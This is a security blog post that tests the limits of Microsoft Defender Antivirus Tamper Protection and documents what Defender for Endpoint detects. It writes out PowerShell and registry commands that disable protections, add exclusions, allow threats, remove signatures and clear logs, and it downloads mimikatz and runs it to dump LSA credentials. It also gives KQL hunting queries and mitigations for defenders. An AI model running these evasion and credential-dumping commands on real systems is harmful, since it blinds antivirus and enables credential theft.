Current limits of Defender AV Tamper Protection

Intro

In this article I explore the limits of the Microsoft Defender Antivirus (MDAV) Tamper Protection feature using only native configuration changes using mechanisms available to any user with administrative permissions. So I will not use any AV bypasses like sandboxing, token stealing or anything like this.

In addition I also documented the built-in detection capabilities of Microsoft Defender for Endpoint to show you, what alerts you can expect in your environment.

Of course I also included all information, that would be needed to detect such actions when using other EDR or SIEM solutions.

What is tamper protection?

Tamper protection is an advanced feature of Microsoft Defender Antivirus to prevent bad actors and sysadmins to change important settings or turn off MDAV detection capabilities. Currently the following configuration changes should be prevented.

• Disabling virus and threat protection
• Disabling real-time protection
• Turning off behavior monitoring
• Disabling antivirus
• Disabling cloud-delivered protection
• Removing security intelligence updates
• Disabling automatic actions on detected threats

As of January 2022 this feature is supported on the following platforms

• Windows 10
• Windows 11
• Windows 10 Enterprise multi-session
• Windows 11 Enterprise multi-session
• Windows Server 2019
• Windows Server 2022
• Windows Server, version 1803 or later
• Windows Server 2016
• Windows Server 2012 R2

Also the devices must be onboarded to Microsoft Defender for Endpoint, cloud-delivered protection must be enabled and the anti-malware platform version must be equal or above 4.18.2010.7.

When I started this article Windows Server 2012 R2 was not yet supported. But Microsoft added support for it in early October 2021 through the new modern unified solution package. This is an updated agent version for Windows Server 2012 R2 and Windows Server 2016 that backports many features to those operating systems.

As of February 2022 this agent is still in preview, but I recommend it to everyone asking. Because of the additional OS and feature support, I rewrote the article and repeated my testing using the new agent on Windows Server 2012 R2 and for Windows Server 2016 to make sure the latest protections were in place. If you are still using the old MMA based agent, some of this may not apply to your setup.

Test environment

All systems were onboarded to Microsoft Defender for Endpoint prior to testing.

All my testing was done with tamper protection enabled and the with latest versions of the products.

• Windows 2012 R2 Server
  • AMEngineVersion : 1.1.18800.4
  • AMProductVersion : 4.18.2111.5
  • MsSense.exe : 10.8045.22439.1013 (WinBuild.160101.0800)
• Windows 2016 Server Core
  • AMEngineVersion : 1.1.18800.4
  • AMProductVersion : 4.18.2111.5
  • MsSense.exe : 10.8045.22439.1013 (WinBuild.160101.0800)
• Windows 2019 Server Core
  • AMEngineVersion : 1.1.18800.4
  • AMProductVersion : 4.18.2111.5
  • MsSense.exe : 10.8040.17763.2268 (WinBuild.160101.0800)

# Current Defender AV versions
Get-MpComputerStatus | Select AMEngineVersion, AMProductVersion
# Current Defender for Endpoint versions
(Get-Command 'C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe').FileVersionInfo.FileVersion

Test settings and methodology

I tested two different methods to change the configuration of Microsoft Defender Antivirus. In my first attempt I used the native PowerShell cmdlets and tooling that Microsoft provides: Set-MpPreference and MpCmdRun.exe.

In the second attempt I used a method that I describe in detail my blog post “Create persistent Defender AV exclusions and circumvent Defender for Endpoint detection”. In short, I mimic a local group policy creating the necessary registry values beneath HKLM:\SOFTWARE\Policies\Microsoft/Windows Defender and as long as there is no other group policy in place MDAV applies those settings.

Since I published the blog post Microsoft added additional detection capabilities MDE, so I’m very interested what happens.

To make the tests easily reproducible I created two scripts, one for each method. You can download those scripts

• Script-Method1.ps1
• Script-Method2.ps1

Those scripts clear the following event logs before they change any settings.

• Microsoft-Windows-Windows Defender/Operational
• Microsoft-Windows-Windows Defender/WHC
• Application
• System
• Security

At the end of each script the event logs are exported for analysis.

Between every change there is a 60 second wait time. This makes it a easier to comb through the logs.

That said, it’s important to know that every configuration setting described in the following section will be tested using both methods.

Lets have a look at what settings I have tested.

Disable virus and threat protection features

The first few settings that I try to disable are the following

• Scan all downloaded files and attachments
• Turn on e-mail scanning
• Configure the ‘Block at First Sight’ feature

Disabling any one of those settings would lower the detection capabilities of MDAV and might delay a detection.

Method 1

Set-MpPreference -DisableIOAVProtection $true -DisableEmailScanning $true -DisableBlockAtFirstSeen $true

Method 2

# 1.1 Disable virus and threat protection features
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Real-Time Protection' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name DisableIOAVProtection -Value 1 -PropertyType DWord -Force
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Scan' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" -Name DisableEmailScanning -Value 1 -PropertyType DWord -Force
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Spynet' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" -Name DisableBlockAtFirstSeen -Value 1 -PropertyType DWord -Force

Disable real-time protection

This setting would completely disable the realtime monitoring of MDAV, which essentially prevents all future detections of malware other than through scheduled scans.

Method 1

Set-MpPreference -DisableRealtimeMonitoring $true

Method 2

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Real-Time Protection' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name DisableRealtimeMonitoring -Value 1 -PropertyType DWord -Force

Turning off behavior monitoring

When disabling behavior monitoring another layer of Microsofts Next-generation protection Behavioral blocking and containment is turned blind or does not function properly.

Method 1

Set-MpPreference -DisableBehaviorMonitoring $true

Method 2

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'DisableBehaviorMonitoring' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\DisableBehaviorMonitoring" -Name DisableBehaviorMonitoring -Value 1 -PropertyType DWord -Force

Disable cloud-delivered protection

Cloud-delivered protection is based on the Microsoft Intelligent Security Graph and, when enabled, helps to identify threats that are not yet present in the local signature.

Method 1

Set-MpPreference -MAPSReporting 0

Method 2

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Spynet' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" -Name SpynetReporting -Value 0 -PropertyType DWord -Force

Disable signature updates

This setting is aimed at VDI environments where you don’t want every client to download the signatures itself. The configuration allows you to download and distribute the signatures once to a file share and every client will grab them from this location.

When the value is set to an empty or wrong value, the clients can’t update their signatures from this path. But instead of falling back to Microsoft Update or any other method defined they simply do nothing at all. The difference is measurable when starting the cmdlet. When the bypass is implemented it only takes a second to finish. Normally this takes a few more seconds because the engine has to compare the signatures.

To make thing worse, there is no indication of an failed signature update. Neither in the active session nor the event log.

I used this function to do the repeated testing.

Method 1

Set-MpPreference -SharedSignaturesPath "-"

Method 2

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name 'Signature Updates' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" -Name SharedSignatureRoot -Value "" -PropertyType String -Force

Add exclusions path

Exclusions are one of the most common methods to evade detection. Currently they are not protected by tamper protection. This is most likely the case because many enterprises use exclusions as part of their normal configuration. Since those configuration changes are, in most cases, distributed to servers via group policies it is not possible for Microsoft to just block them. There is currently no way to differentiate between valid and malicious changes.

For this test I create one exclusion for one folder, that is later used in the detection test.

Method 1

Set-MpPreference -ExclusionPath "C:\AVTest"

Method 2

New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" -Name 'Paths' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" -Name Exclusions_Paths -Value 1 -PropertyType DWord -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" -Name "C:\AVTest" -Value 0 -PropertyType String -Force

Disable automatic actions on detected threats

Each threat has a different threat severity or alert level. Based on this severity you can change the default behavior of the response.

Valid threat alert levels are:

• 1 = Low
• 2 = Medium
• 4 = High
• 5 = Severe

Valid remediation action values are:

• 2 = Quarantine
• 3 = Remove
• 6 = Ignore

If you change the value of the remediation action to 6 (Ignore) no action is taken, regardless that the threat was detected.

Ad of 26.01.2022 there are 221092 threats in the threat catalog. The distribution based on the severity can be analyzed by using the Get-MpThreatCatalog cmdlet.

Get-MpThreatCatalog | Group-Object SeverityID -NoElement | Format-Table -AutoSize

Method 1

# The PowerShell cmdlet uses Allow instead of Ignore
Set-MpPreference -UnknownThreatDefaultAction Allow -LowThreatDefaultAction Allow -HighThreatDefaultAction Allow  -ModerateThreatDefaultAction Allow   -SevereThreatDefaultAction Allow

Method 2

New-Item -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender\Threats\" -Name 'ThreatSeverityDefaultAction' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender\Threats\" -Name 'Threats_ThreatSeverityDefaultAction' -Value 1 -PropertyType DWord -Force
1,2,4,5 | ForEach-Object {
    # Value 6 = Ignore
    New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" -Name $_ -Value 6 -PropertyType String -Force
}

Change default action for specific malware

Those settings are meant to change the behavior only for specific threats. You can define the threat id as well as the action that should be taken. The action has to be specified as on of the following possible values.

• 1 = Clean
• 2 = Quarantine
• 3 = Remove
• 6 = Allow
• 8 = UserDefined
• 9 = NoAction
• 10 = Block

Action 6 (Allow) is your friend and I use it for the threat id 2147519003 (Virus:DOS/EICAR_Test_File) and 2147717805 (EUS:Win32/CustomEnterpriseBlock). The former is to allow the EICAR test file everywhere on the system and the latter is related to Microsoft Defender for Endpoint detection capabilities. I will discuss this in a future blog post in more depth.

Method 1

Set-MpPreference -ThreatIDDefaultAction_Actions @(6,6) -ThreatIDDefaultAction_Ids @(2147519003,2147717805)

Method 2

New-Item -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender\Threats\" -Name 'ThreatIdDefaultAction' -Force -ErrorAction 0
New-ItemProperty -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender\Threats\" -Name 'Threats_ThreatIdDefaultAction' -Value 1 -PropertyType DWord -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIdDefaultAction" -Name "2147519003" -Value 6 -PropertyType String -Force
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIdDefaultAction" -Name "2147717805" -Value 6 -PropertyType String -Force

Removing security intelligence updates

This method removes all installed AV signatures from the device and makes it mostly blind. In combination with the signature bypass trick no new signatures would be installed.

& "$ENV:ProgramFiles\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Create and Read EICAR Test file

After applying all the configuration changes, I create two instances of the EICAR Standard Anti-Virus test file, start a manual AV scan and read the content of the file.

The first one is created in the folder excluded from AV detection. This one should not be detected, because exclusion path are not protected by tamper protection.

The second file is created in another folder not excluded from AV detection. But since I explicitly excluded the threat id for EICAR it should no be detected/acted on.

$Paths = @("C:\AVTest\", "C:\AVTest2\")
foreach ($Path in $Paths) {
    New-Item -Type Directory -Path $Path -EA 0
    Set-Location $Path
    Write-Output 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > eicartest.file

    Start-MpScan -ScanType CustomScan -ScanPath $Path
    Get-Content .\eicartest.file
}

Execute mimikatz

As a last test I download mimikatz from GitHub, extract the zip file to the folder with the AV excluded and dump hashes.

The AV engine should not block this, because the executable resides in the excluded folder, but Microsoft Defender for Endpoint might detect it nonetheless.

$ProgressPreference = "SilentlyContinue"
[Net.ServicePointManager]::SecurityProtocol = ([Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12)
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20210810-2/mimikatz_trunk.zip"  -OutFile "mimikatz.zip"
Unblock-File "mimikatz.zip"
Expand-Archive -Path "mimikatz.zip" -DestinationPath .
# Execute mimikatz
.\x64\mimikatz.exe "lsadump::lsa" "exit"
# Scan folder
Start-MpScan -ScanType CustomScan -ScanPath $Path

Revert the changes

To cleanup any changes made, I use the following scripts.

Method 1

rm "C:\AVTest\*" -Recurse -Force
rm "C:\AVTest2\*" -Recurse -Force
Remove-MpPreference -DisableIOAVProtection -DisableEmailScanning -DisableBlockAtFirstSeen -DisableRealtimeMonitoring -MAPSReporting -SharedSignaturesPath -UnknownThreatDefaultAction -LowThreatDefaultAction -HighThreatDefaultAction -ModerateThreatDefaultAction -SevereThreatDefaultAction
Remove-MpPreference -ExclusionPath "C:\AVTest"
Remove-MpPreference -ThreatIDDefaultAction_Actions @(6,6) -ThreatIDDefaultAction_Ids @(2147519003,2147717805)
# More on this one later
Remove-MpPreference -ThreatIDDefaultAction_Actions @(1) -ThreatIDDefaultAction_Ids @(1)
Update-MpSignature -UpdateSource MicrosoftUpdateServer

Method 2

rm "C:\AVTest\*" -Recurse -Force
rm "C:\AVTest2\*" -Recurse -Force
Remove-Item  -Path "HKLM:SOFTWARE\Policies\Microsoft\Windows Defender" -Force -Recurse -EA 0
gpupdate /force
Update-MpSignature -UpdateSource MicrosoftUpdateServer

Results

Regardless of the method, tamper protection prevented many of the attempted configuration changes. The used commands did not return any error message but acted like the command was successfully executed. From an attacker side this makes it easier to get spotted, since you have to double check if your changes were applied as intended.

The one exception was MpCmdRun.exe -RemoveDefinitions -All which ended with the following error message.

As expected the EICAR test files were created and successfully read in both cases and mimikatz was executed without any intervention.

Configuration changes

Looking at the running configuration using Get-MpPreference only the following settings were changed after execution of the script. Everything else was not changed, because tamper protection stepped in.

• HighThreatDefaultAction
• LowThreatDefaultAction
• ModerateThreatDefaultAction
• SevereThreatDefaultAction
• UnknownThreatDefaultAction
• DisableEmailScanning
• ExclusionPath
• SharedSignaturesPath
• ThreatIDDefaultAction_Actions
• ThreatIDDefaultAction_Ids

Looking at the tamper protection claims from Microsoft the following should be prevented:

• Disabling virus and threat protection
  Partial success
• Disabling real-time protection
  Success
• Turning off behavior monitoring
  Success
• Disabling antivirus
  Success
• Disabling cloud-delivered protection
  Success
• Removing security intelligence updates
  Success
• Disabling automatic actions on detected threats
  Fail*

Disabling virus and threat protection

DisableIOAVProtection and DisableBlockAtFirstSeen were blocked as expected.

For some odd reason DisableEmailScanning is not protected and an attacker can currently disable this feature. Since most companies use an anti-spam and anti-malware engine like Microsoft Defender for Office 365 before even delivering the message to the end user, this has not the biggest impact.

But still, I would like to see this property protected as well.

Disabling automatic actions on detected threats

When looking at the running configuration the ThreatDefaultAction values have changed, so “Disabling automatic actions on detected threats” has failed?

Let’s have a closer look. Get-MpPreference reports back that those values are now different, but checking the corresponding registry settings tells another story. Only one value pair is created.

And that is for threat severity 0 (Unknown). Funny enough Microsoft let’s you set this settings via their own cmdlet, but on the other hand the admx files only list values 1,2,4,5 as valid.

As you can see in the event log there are four entries regarding blocked changes and one entry telling you something has changed.

It seems since 0 (unknown) is not a valid configuration, the developers did not bother to implement tamper protection for it.

To be sure I checked this manually. I changed the ThreatDefaultAction values and created an EICAR file. And Microsoft Defender Antivirus ignored the wrongfully displayed values and removed the test file. So after all this is either a clever trick to throw off an attacker or some kind of display bug. The tamper protection is still intact.

• Disabling automatic actions on detected threats
  Fail Success

Detections

Let’s have a look at what was detected in Microsoft Defender Antivirus, the event logs and Microsoft Defender for Endpoint.

If a detection is only valid for one of the attack methods, I will mention this respectively.

If not otherwise mentioned the detection was the same for all OS versions.

Defender AV

Microsoft Defender Antivirus did not recognize any of the threats. That is expected as the changes I made to folder exclusions and threat handling should result in this behavior.

Event Logs

I exported the event logs Application, System, Security, “Windows Defender/Operational” and “Windows Defender/WHC”.

For this use case “Windows Defender/Operational” is the only log that has interesting and actionable information.

When you are using any EDR solution other than Microsoft Defender for Endpoint the following event Ids are interesting for you. You should definitely monitor those event ids so you can create alerts.

5007 - The antimalware platform configuration changed

This event is triggered if there was an successful change to the configuration. You can extract the old and new value from this event to make an alert that only triggers if certain values are set.

5013 - Tamper protection blocked a change to Microsoft Defender Antivirus

This event is triggered when a change was attempted but blocked by Tamper Protection.

PowerShell

If you want to check the system you are currently connected to you can filter for those events using PowerShell.

Get-WinEvent -FilterHashtable @{logname = 'Microsoft-Windows-Windows Defender/Operational'; id = @(5007,5013)} | fl TimeCreated, Message

Defender for Endpoint alerts

Method 1

The following alerts triggered when running the script using method 1.

As you can see the execution of mimikatz was far from silent, even if it was not blocked by the AV engine.

• Mimikatz credential theft tool
• ‘Cryptor’ malware was detected
• Malicious credential theft tool execution detected

Also there are alerts for the used RDP session triggering a “Suspicious RDP session” alert on each of the servers.

On the Windows Server 2012 R2 machine there was also an additional alert “Event log was cleared”

Method 2

Using PowerShell to create the registry values in the policies registry key was much more noisy and resulted in additional alerts. As you can see in the screenshot all of the alerts from method 1 were raised, but in addition to those, nine “Attempt to turn off Microsoft Defender Antivirus protection” alerts were triggered.

When analyzing the alert in more detail it get’s clear that for each change to DisableIOAVProtection, DisableRealtimeMonitoring and SpynetReporting a separate alert was raised.

This additional detection makes me happy, since it means that Microsoft not only has added those registry values to their monitoring, but also created intelligent rules that detect when an unauthorized process is responsible for those changes. This is exactly what I proposed in my earlier blog post on this matter.

Timeline

In the Microsoft Defender for Endpoint timeline for each server there were detections on the change attempts I made.

While Windows Server 2016 and Windows Server 2019 had the exact same results …

… on the Windows Server 2012 R2 server there was the additional alert and the presentation is more compact.

On all systems the attempts to tamper with the configuration were detected and reported in the timeline. The only change that was reported and made is the creation of the AV exclusion.

This is the complete list of reported tamper attempts.

• ThreatSeverityDefaultAction-1
• ThreatSeverityDefaultAction-2
• ThreatSeverityDefaultAction-4
• ThreatSeverityDefaultAction-5
• DisableIOAVProtection
• DisableBlockAtFirstSeen
• DisableRealtimeMonitoring
• DisableBehaviorMonitoring
• SpyNetReporting

What it didn’t catch were the changes to SharedSignatureRoot, DisableEmailScanning and ThreatIdDefaultAction.

The execution of MpCmdRun.exe, which was used to try to remove the signatures, was captured.

In the detailed view of this event you can see the used parameters.

What is also missing is the creation of the EICAR test file. I did not find any trace of this in the logs.

As for mimikatz. There are events all over the place. From downloading the file from GitHub, to the execution and detection everything is documented.

Method 2

Most of the detections were exactly the same, so here are the differences.

Since the method of how I set the values is different, in this case we see a bunch of registry events to the Policies key.

What you might already have spotted, in there between all the changes are TamperingAttempt events. When removing the filter you also can see the alert that is generated for those attempts.

The addition of the AV exclusion is also recorded.

In this case as before, the read/write activity on the eicartest.file is not listed.

Advanced Hunting

All mentioned events are also accessible using advanced hunting and can be used to create custom detections in Microsoft Defender for Endpoint. I will not go in the details of the execution of mimikatz or the creation of the EICAR test file, but keep to the tamper protection events.

Registry modifications

For method 1 and method 2 I have to use different queries, because the different methods write to different parts of the registry.

Method 1

DeviceRegistryEvents
| where RegistryKey startswith @"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender"
| sort by Timestamp

Only one change to the registry is monitored. This is mainly because the other changes were not made. Tamper protection prevented any changes and therefor there was nothing to monitor.

The on change that can be found is the change to the Exclusions_Paths registry value.
But as it was in the timeline, the following changed registry values were not registered or monitored at all

• SharedSignatureRoot
• DisableEmailScanning
• ThreatIdDefaultAction
• ThreatSeverityDefaultAction-0*
  * There was only one RegistryValueSet event for value 0 which is not valid, all others writes where prevented by tamper protection

Method 2

The second method changes registry values within the Policies registry key. Those registry keys are not protected by tamper protection, but since they are only one possible configuration source for MDAV this does not affect the active configuration as long as tamper protection is active.

DeviceRegistryEvents
| where RegistryKey startswith @"HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender"
| sort by Timestamp

This is the reason why you can see many successful RegistryValueSet events. And as it was the case with method 1, Microsoft does not seem to monitor the following registry values.

• SharedSignatureRoot
• DisableEmailScanning
• ThreatIdDefaultAction
• ThreatSeverityDefaultAction (all)

The result is the same for method 1 and 2: The most important parts of the running configuration are protected, and no changes to protected values where written.

Process creation

To hunt for attempts to remove the AV definitions you can search the DeviceProcessEvents process table and filter for ProcessCommandLine containing “RemoveDefinitions”.

DeviceProcessEvents
| where FolderPath == @"C:\Program Files\Windows Defender\MpCmdRun.exe"
| where ProcessCommandLine has "RemoveDefinitions"
| project-reorder Timestamp, DeviceName, ActionType, FolderPath, InitiatingProcessAccountName, InitiatingProcessCommandLine

Tamper protection

Advanced hunting has additional information for you to act on. There is an ActionType TamperingAttempt in the DeviceEvents table and when queried you can see where tamper protection did its job.

DeviceEvents
| where ActionType contains "TamperingAttempt"
| where Timestamp between (datetime(2022-01-26T17:10:00.000Z) .. datetime(2022-01-26T17:35:00.439Z))
| extend AdditionalFields = todynamic(AdditionalFields)
| extend TamperingAction = tostring(AdditionalFields.['TamperingAction'])
| extend Status = tostring(AdditionalFields.['Status'])
| extend Target = tostring(AdditionalFields.['Target'])
| extend TargetProperty = replace_regex(Target,@"(.*)\\(.*)",@"\2")
| extend OriginalValue = tostring(AdditionalFields.['OriginalValue'])
| extend TamperingAttemptedValue = tostring(AdditionalFields.['TamperingAttemptedValue'])
| extend TargetProperty = iff( ( TargetProperty matches regex @"\d" ), strcat("ThreatSeverityDefaultAction-",TargetProperty), TargetProperty)
| project Timestamp, DeviceName, TamperingAction, Status, TargetProperty, OriginalValue, TamperingAttemptedValue,InitiatingProcessCommandLine,InitiatingProcessAccountName,InitiatingProcessAccountSid,ReportId
| sort by Timestamp

The query above will result in a complete list of all blocked attempts to change registry values. For all devices you can not only see which value should be changed, but also the original value and the process responsible for the change. Since some additional information is only accessible through the AdditionalFields column you have to work a bit harder to get to it.

In the custom alerts section of this blog post I included a more advanced version of this query. This query allows you to directly alert on critical tamper attempts while excluding the noise that can be introduced when managing your environment with Endpoint Configuration Manager (SCCM) or GPOs.

Method 1

All blocked changes where recorded successfully.

Method 2

The result is exactly the same using the method. On all three devices modifications to the registry values are blocked.

One major difference both methods is the InitiatingProcessCommandLine, InitiatingProcessAccountName and Status

While in method 1 the InitiatingProcessCommandLine is wmiprvse.exe -secured -Embedding it is powershell.exe in method 2.

The InitiatingProcessAccountName is either S-1-5-19 (local service) or using method 2 the user who changes the values.

Status is either Blocked or Ignored. Changes made to MDAV using GPO are not blocked but ignored. This behavior is documented.

Group policy doesn’t apply to tamper protection. Changes made to Microsoft Defender Antivirus settings are ignored when tamper protection is on.

Clear event log

Even if it was not part of the test, with the following KQL query you can detect the clearing of the security log.

DeviceEvents
| where ActionType == "SecurityLogCleared"

Detection overview

This is a comprehensive list of the Microsoft Defender for Endpoint detection results.

• Alert
  Was an alert created?
• TL = Timeline
  Was there any event in the timeline related to this test?
• AdvH = Advanced Hunting
  Can you query events related to this test using advanced hunting?

Microsoft tweeks alert creation based on all data they have at their disposal, you might not always see an alert where you expect one because the filters and logic applied prevent a creation. Also keep in mind that tamper protection prevented any changes to the system that would result in a disabled MDAV. Check out the custom alerts part of this blog post to add more verbose alerting if you like this in your environment.

This concludes the section on detection.

Current limitations

Tamper protection delivers great additional protection for any enterprise. All of the advertised protections are working as expected.

The limitations of this technology is the current scope of protected settings. The following settings can still tamper with the detection of threats or signature updates but are not under the umbrella of tamper protection.

• ExclusionPath
• SharedSignaturesPath
• ThreatIDDefaultAction_Actions
• ThreatIDDefaultAction_Ids

But there are easy mitigation techniques you can implement, so those attack vectors are closed until Microsoft extend Tamper Protection to even more settings.

Mitigation

Exclusions path

Should you manage your Windows client endpoints with Intune change the following setting Disable local admin merge in your security baseline to Yes.

On Windows servers where there is currently no alternative to using group policies, so you must set the setting Configure local administrator merge behavior for lists to Disabled. This will prevent any local changes and enforce only those from the group policy.

Sadly this setting is not a recommendation in the latest Windows security baselines (MSFT Windows Server 2022 - Defender Antivirus), the CIS Microsoft Windows Server 2019 Benchmark v1.2.1 nor in the MS Windows Defender Antivirus Security Technical Implementation Guide. Many enterprises base their security baseline settings on recommendations made in those documents and will ignore/not configure other settings.

Shared Signature Path

Set the “Define security intelligence location for VDI clients” setting to Disabled in your security baseline.

Intune : Defender/SecurityIntelligenceLocation

Change default action for specific malware

To mitigate this attack vector you must disable the “Specify threats upon which default action should not be taken when detected” configuration option in your security baseline.

Tamper protection evolution

Microsoft is actively adding capabilities to tamper protection, e.g. the protection for automatic actions on detected threat was released in December of 2021.

So there is a good chance that they will add missing protection features in new releases of the AV engine and close the gaps.

Custom alerts

In addition to you hardening through configuration settings, I would encourage you to implement additional alerting. Since Microsoft Defender for Endpoint does not alert on tampering attempts, something that Microsoft has confirmed to me that they are working on, you should create your own alerting in the meantime. You can always use advanced hunting queries to create a custom detection rule and create more verbose alerting in your environment.

Removing security intelligence updates

Create a custom detection for this simple advanced hunting rule and you will get an alert every time someone tries to tamper with the installed security intelligence updates.

DeviceProcessEvents
| where FolderPath == @"C:\Program Files\Windows Defender\MpCmdRun.exe"
| where ProcessCommandLine has "RemoveDefinitions"
| project-reorder Timestamp, DeviceName, ActionType, FolderPath, InitiatingProcessAccountName, InitiatingProcessCommandLine

Disable signature updates

Microsoft Defender for Endpoint will report outdated AV definitions through the “Update Microsoft Defender Antivirus definitions” recommendation. I’m currently not aware of any advanced hunting query to check for successful signature updates.

Tamper protection

The following advanced hunting query is an more advanced version of the query earlier in this blog post.

It reports all tampering attempts under the following conditions

• The registry value name starts with Disable and the target value is 1, which would result in disabling a feature
• If the registry value SpynetReporting is changed to 0
• If the registry value is related to ThreatSeverityDefaultAction and the process attempting to do the change is neither C:\Windows\System32\svchost.exe -k GPSvcGroup, C:\Windows\System32\svchost.exe -k netsvcs -p -s gpsvc or C:\Windows\CCM\CcmExec.exe

This logic is necessary since SCCM and Group Policy baselines might attempt to apply your security baseline, which would trigger an alert for every device in your environment. And you should not remove those settings from your baseline, because they are important for any client where tamper protection in not yet enabled.

Using this query logic will prevent unnecessary alerts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

// Detect tampering attempts on devices
// Written by Fabian Bader 01/2022
DeviceEvents
| where ActionType contains "TamperingAttempt"
| extend AdditionalFields = todynamic(AdditionalFields)
| extend TamperingAction = tostring(AdditionalFields.['TamperingAction'])
| extend Status = tostring(AdditionalFields.['Status'])
| extend Target = tostring(AdditionalFields.['Target'])
| extend TargetProperty = replace_regex(Target,@"(.*)\\(.*)",@"\2")
| extend OriginalValue = tostring(AdditionalFields.['OriginalValue'])
| extend TamperingAttemptedValue = tostring(AdditionalFields.['TamperingAttemptedValue'])
// For ThreatSeverityDefaultAction ignore changes made by GPO or Endpoint configuration manager (SCCM)
| where ( TargetProperty startswith "Disable" and TamperingAttemptedValue == 1 ) or ( TargetProperty == "SpynetReporting" and TamperingAttemptedValue == 0 ) or ( ( Target contains "ThreatSeverityDefaultAction" ) and ( InitiatingProcessCommandLine !in ("svchost.exe -k GPSvcGroup","svchost.exe -k netsvcs -p -s gpsvc") and InitiatingProcessFolderPath != @"C:\Windows\System32" ) and ( InitiatingProcessCommandLine != "CcmExec.exe" and InitiatingProcessFolderPath == @"C:\Windows\CCM" ))
| extend TargetProperty = iff( ( TargetProperty matches regex @"\d" ), strcat("ThreatSeverityDefaultAction-",TargetProperty), TargetProperty)
| project Timestamp, DeviceName, TamperingAction, Status, TargetProperty, OriginalValue, TamperingAttemptedValue,InitiatingProcessCommandLine,InitiatingProcessAccountName,InitiatingProcessAccountSid,ReportId,DeviceId
| sort by Timestamp
// @ = https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/scalar-data-types/string#verbatim-string-literals
// replace_regex = https://docs.microsoft.com/en-us/azure/data-explorer/kusto/query/replace-regex-function
// 
// DisableIntrusionPreventionSystem = Turn on network protection against exploits of known vulnerabilities
// DisableOnAccessProtection = Monitor file and program activity on your computer to be scanned
// DisableScriptScanning = Turn on script scanning
// DisablePrivacyMode = Privacy mode prevents users, other than administrators, from displaying threat history.
// DisableRealtimeMonitoring = Turn off real-time protection
// DisableIOAVProtection = Scan all downloaded files and attachments
// DisableBehaviorMonitoring = Turn on behavior monitoring
// DisableAntiSpyware = Turn off Windows Defender
// DisableRoutinelyTakingAction = Turn off Routinely Taking Action
// DisableScanOnRealtimeEnable = Turn on process scanning whenever real-time protection is enabled
// DisableBlockAtFirstSeen = Configure the 'Block at First Sight' feature
//
// SpynetReporting
// 0 = Disable MAPS (No Membership)
// 1 = Enable MAPS (Basic)
// 2 = Enable MAPS (Advanced)

Final thoughts

Tamper protection is a really powerfull feature and you should not hesitate to enable it. It protects you from many attacks that rely on disabling Microsoft Defender Antivirus before proceeding. Many threat actors today rely on something like Set-MpPreference -DisableRealtimeMonitoring $true in their tooling and would be stopped in the inital phase of the attack.

To fully implement secure AV configuration, Microsoft has to protect every important setting including exclusions. This will only be possible if they provide a central configuration option for clients and servers alike. They are already working on this and the public preview is definitely worth checking out.

As with every security feature it is important to test the limits and capabilities before and after implementing it.. As you could read in this blog, there are some configuration changes that are not protected by tamper protection and therefore you should implement additional mitigation techniques whereever possible. A good security baseline is worth a lot.

Also this test shows how important it is to understand your EDR solution. Microsoft Defender for Endpoint allows you to easily create custom detection rules based on advanced hunting queries. So in most cases, it is really easy to implement custom alerts.

And if you are want to let Microsoft know that you are missing something, give feedback. The little black box on the bottom right in the MDE portal is a great way to do this. Your feedback will be read and evaluated by the product team behind MDE. Trust me, it may look like a black box, but you will get feedback.